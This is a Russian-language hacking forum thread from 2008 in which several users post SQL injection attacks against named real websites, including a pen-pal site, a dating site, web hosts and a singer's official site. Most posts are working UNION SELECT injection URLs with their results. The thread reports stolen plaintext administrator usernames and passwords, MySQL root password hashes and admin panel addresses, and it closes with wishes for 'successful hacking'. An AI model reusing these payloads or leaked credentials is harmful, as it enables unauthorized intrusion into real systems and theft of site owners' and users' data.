Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
01.10.2008, 02:45
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
Всем привА.
Я тут решил запостится.
вообщем так.
вот сайтеГ нашёл
Код:
http://www.penpal.ru
решил же глянуть, чё там и к чему =)
Как всегда, стандартная проверка
Код:
http://www.penpal.ru/cgi-bin/person.pl?id=-1175185312'
Узнаем что имееЦЦо 28 полей, и одно принтабельное - 21
Код:
http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
Версия скулИ 5-я
(пальцем в небо) ибо даже через http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+and+substring(@@version,1, 1)=5 не признавалось, или это Я =)))))
короче полазил, полазил...нашёл таблицу person
а в ней поля
id - идентификаторы
passw - пароли в чистом виде
email - мылы
icq - аси(есть не у всех)
похакал.....и дальше пошёл
Одминку не нашёл =(
-----
P.S
Странно было, когда я ввёл в это принтабельное поле запрос version()....оно не выдало мне версию, а выдало что такой таблицы нету.
Последний раз редактировалось 1337haxx0r; 01.10.2008 в 02:47..
|
|
|
01.10.2008, 07:02
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
1337haxx0r
http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,@@version,22 ,23,24,25,26,27,28--
а так не пробвал ? ))
|
|
|
|
01.10.2008, 07:28
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585
Репутация:
818
|
|
Официальный сайт Группы "Ляпис Трубецкой"
http://www.lyapis.com/anons.php?id=-3+UNION+SELECT+1,2,3,4,5+from+news
Единственная таблица которую нашел.
|
|
|
|
01.10.2008, 18:10
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
Сообщение от sabe
1337haxx0r
а так не пробвал ? ))
....фак, я и не знал....поэтому и не додумался =)
но спасибо, теперь уж буду знать =)
Последний раз редактировалось 1337haxx0r; 01.10.2008 в 18:33..
|
|
|
|
01.10.2008, 18:32
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
Вот ещё нашёл сайтеГ =)
Вообщем, проверяем и видим ошибочку скулЯ
Код:
http://www.kateeya.com/content.php?menu=-2'
имеем 6 полей одно принтабельное - 2
Код:
http://www.kateeya.com/content.php?menu=2+order+by+6--
http://www.kateeya.com/content.php?menu=2+union+select+1,2,3,4,5,6--
Версия скули 5-я
Значит заюзаем information_schema
Код:
http://www.kateeya.com/content.php?menu=2+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3,4,5,6++from+information_schema.columns--
нам тут полный фарт, видим все таблицы с полями, ищем интерессные.....а это
siji_user:::user_id - идентификаторы
siji_user:::user_name - юзеры
siji_user:::user_pwd - пароли в чистом виде
siji_user:::user_email - мылы
смотрим и видим одну запись....которая нас радует и при этом поднимает настроение =)))))
Код:
http://www.kateeya.com/content.php?menu=2+union+select+1,concat_ws(0x3a3a3a,user_name,user_pwd),3,4,5,6++from+siji_user--
Конечный итог:
Username: admin
Password: admin
Админка: http://www.kateeya.com/admin/login.php
----
Пока что всё, всем приятного и удачного хакинга =)))) |
|
|
|
01.10.2008, 19:52
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
ещё один бажный сайт.....хостинг
Проверяем
Код:
http://www.webhostingjury.com/hosts.php?id=-534'
имеем ошибкку, и узнаем что имееЦЦо 3 поля, одно принтабельно - 2
Код:
http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,2,3--
Версия Мускуля 5-я
знач обращаемся к нашей информационной таблице information_schema
Код:
http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3+from+information_schema.columns--
ждём пока выведутся все поля и таблицы...
находим нас интересующие, а именно:
admin:::adm_username - имя админского юзера
admin:::adm_password - пароль в открытом виде
или
hosts:::username - имя юзера(хоста)
hosts::: password - пароли в чистом виде
Код:
http://www.webhostingjury.com
/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,adm_password,adm_username),3+from+admin--
http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,password,username),3+from+hosts--
я брал админа.
получаем: imkool:::ajay
Конечный итог:
Admin Username: ajay
Admin Password: imkool
Админка: http://www.webhostingjury.com./adm/www/admin/index.php
---
...но почему-то не проходит инфа в админке...
логин юзеров не искал.... |
|
|
|
02.10.2008, 01:48
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
ну я сегодня в угаре(на работе нечего делать) =))))
сайт знакомств, с виду приличный...а как капнёшь глубже...ппц
Смотрим, скуля начинает ругаЦЦо =)
Код:
http://www.datingfunda.com/clubs/group_profile.php?group_id=-215'
пробиваем поля, у нас их 23, из них штук 5 принтабельных.
Версия скулИ 5-я (везёт мне) =)
поперебирал я лимитом....нашёл таблицы
dating_adminmembers:::username
dating_adminmembers::: password
Код:
http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+166,1--
и
members:::username
members::: password
Код:
http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+519,1--
Я брал админа
Код:
http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,username,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dating_adminmembers--
admin:::admin456
пасс в чистейшем виде, оч замечательно =)
ОдминкО: http://www.datingfunda.com/webadmin/ |
|
|
|
02.10.2008, 19:06
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
ещё один хостинг
14 полей, два принтабельных - 6,7
Код:
http://www.torontowebhost.com/mod.php?mod=pages&mode=view&id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
Версия скули 4-я
будем перебирать ручками...
и без особого труда нашлась табличка admins
в которой присутсвовали поля:
admin_user_name
admin_email
к сожалению поле с паролями не побобрал....пробовал много вариантов....но без результатно.
Код:
http://www.torontowebhost.com/mod.php?mod=pages&mode=view&id=-2+union+select+1,2,3,4,5,concat_ws(0x3a3a3a,admin_user_name,admin_email),7,8,9,10,11,12,13,14+from+admins--
webmaster:::webmaster@torontowebhost.com
может кому будет интерессно, подберёт =)
логин в админку:
Код:
http://www.torontowebhost.com/login.php?w=admin&o=login
-----
Там ещё в портфолио есть сайты.....так же коряво написаны |
|
|
|
03.10.2008, 00:20
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
офф сайт украинской певицы Русланы
там 5-я версия скули.
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+concat_ws(0x3a3a3a,table_name,column_name)+from+information_schema.columns--
одно поле...оно же принтабельно
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+1--
имеем права на доступ к таблице mysql
Код:
http://www.ruslana.ua/ua/press.php?ln=-1+union+select+concat_ws(0x3a3a3a,user,password)+from+mysql.user--
показало три юзера
root:::*A6D3F6E96E35BC972C685AFE44507517B5C87F4C
root:::
astra:::*C301AD7E05B309F011D781BA2E1CD97AF0CC9622
дальше ничё особо не делал =) |
|
|
|
03.10.2008, 04:50
|
|
Познающий
Регистрация: 19.09.2008
Сообщений: 95
Провел на форуме:
399173
Репутация:
102
|
|
Код:
http://www.davinciinstitute.com/page...ersion(),5,6/*
version: 5.0.42
user: davinci@localhost
database: davinciinstitute_com
Код:
http://trusteelearning.org/news_read...on(),6,7,8,9/*
version: 4.1.20-max-log
user: savoadm_pilot2@72.41.255.204
database: savoadm_etraining
Код:
http://quiddich.voldemort.ru/forum.p...,4,5,6,7,8,9/*
version: 4.1.22
user: voldemor_loki@localhost
database: voldemor_loki
Код:
http://www.bt-shop.ru/section_output...sion(),5,6,7/*
version: 4.0.27-log
user: bt-shop@zvm12.host.ru
database: bt-shop |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
